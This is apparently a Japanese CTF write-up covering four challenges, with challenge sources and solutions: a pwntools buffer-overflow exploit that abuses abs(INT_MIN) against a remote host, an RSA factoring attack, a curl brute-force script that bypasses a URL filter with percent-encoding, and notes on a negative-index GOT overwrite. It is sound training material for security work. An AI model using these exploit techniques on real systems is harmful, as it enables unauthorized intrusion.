#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x100
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
return size;
}
void get_data(char *buf, unsigned size) {
unsigned i;
char c;
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\\n') break;
buf[i] = c;
}
buf[i] = '\\0';
}
void echo() {
int size;
char buf[BUF_SIZE];
// Input size
printf("Size: ");
size = get_size();
// Input data
printf("Data: ");
get_data(buf, size);
// Show data
printf("Received: %s\\n", buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
abs(size)
にINT_MIN を与えると BoF が起こってひっくり返る
あとは gdb で ret を特定してバッファを埋める
Canary も NX もなし
from pwn import *
win = ELF('./echo').symbols['win']
#p = process('./echo')
p = remote("34.170.146.252", 40771)
p.sendlineafter(b'Size: ', b"-2147483648")
p.sendlineafter(b'Data: ', b'A'*280 + p32(win))
print(p.recvall())
import os
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger, isPrime
def nextPrime(n):
while not isPrime(n := n + 1):
continue
return n
def gen():
while True:
q = getRandomNBitInteger(256)
r = getRandomNBitInteger(256)
p = q * nextPrime(r) + nextPrime(q) * r
if isPrime(p) and isPrime(q):
return p, q, r
flag = os.environ.get("FLAG", "fakeflag").encode()
m = bytes_to_long(flag)
p, q, r = gen()
n = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = pow(e, -1, phi)
c = pow(m, e, n)
print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{r=}")
$$ n=p*q\\ \begin{aligned} p &= q * \mathrm{next}(r) + \mathrm{next}(q)r\\ &= qr' + q'*r\\ n &= (qr' + q'r)q\\ &=(q(r+α) + r(q+β))q\\ &=2q^2r + q^2α + qrβ \end{aligned} $$
このとき,αとβは小さく,αに関しては分かっている. なので, $n \simeq 2q^2r$ と近似できて,$q \simeq \sqrt{n/2r}$ ということになる. なので,この近似について総当たりすればよい
n=200697881793620389197751143658858424075492240536004468937396825699483210280999214674828938407830171522000573896259413231953182108686782019862906633259090814783111593304404356927145683840948437835426703183742322171552269964159917779
e=65537
c=77163248552037496974551155836778067107086838375316358094323022740486805320709021643760063197513767812819672431278113945221579920669369599456818771428377647053211504958874209832487794913919451387978942636428157218259130156026601708
r=30736331670163278077316573297195977299089049174626053101058657011068283335270
from gmpy2 import iroot
from Crypto.Util.number import isPrime
tmp_q, _ = iroot(n//(2*r), 2)
for i in range(-1000, 1000):
q = tmp_q + i
if n % q == 0 and isPrime(q):
p = n // q
print(f"p: {p}")
print(f"q: {q} ")
print(f"diff: {i}")
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
FROM node:22.11.0
WORKDIR /app
COPY public public
# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \\
&& mkdir -p $(dirname $FLAG_PATH) \\
&& mv flag.txt $FLAG_PATH
COPY package.json package-lock.json ./
RUN npm install
COPY index.js .
USER 404:404
CMD node index.js
import express from "express";
const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
<li><a href=/book>/book</a></li>
<li><a href=/drum>/drum</a></li>
<li><a href=/duck>/duck</a></li>
<li><a href=/key>/key</a></li>
<li><a href=/pen>/pen</a></li>
<li><a href=/tokyo/tower>/tokyo/tower</a></li>
<li><a href=/wind/chime>/wind/chime</a></li>
<li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();
const app = express();
app.use((req, res, next) => {
res.type("text");
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
next();
});
app.use(express.static("public"));
app.get("/", (req, res) => res.type("html").send(html));
app.listen(3000);
FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \\
とあるので,./public/m/d/5/s/u/m/f/l/a/g/./t/x/t みたいな感じになる.md5 の内容は分からない.
ここで,URL 文字列に「flag」が含まれていると「BadURL」に飛ばされる.一方で,存在しない URL を選択すると「Cannot GET」となる.この差異を利用する
#!/bin/bash
target_chars=({0..9} {b..e} %61 %66)
base_url="snip"
for i in `seq 0 31`;do
for char in "${target_chars[@]}";
do
url="$base_url/$char"
echo $url
status_code=$(curl -o /dev/null -s -w "%{http_code}" "$url")
print $status_code
if [ "$status_code" -eq 301 ]; then
#echo "Found valid URL: $url"
base_url=$url
break
fi
done
done
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int slot[10];
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int main() {
int index, value;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("index: ");
scanf("%d", &index);
if (index >= 10) {
puts("[-] out-of-bounds");
exit(1);
}
printf("value: ");
scanf("%d", &value);
slot[index] = value;
for (int i = 0; i < 10; i++)
printf("slot[%d] = %d\\n", i, slot[i]);
exit(0);
}
負の数をチェックしてない.あとは GOT overwrite. printf か exit だが,printf はアドレス解決済で 6byte であることに注意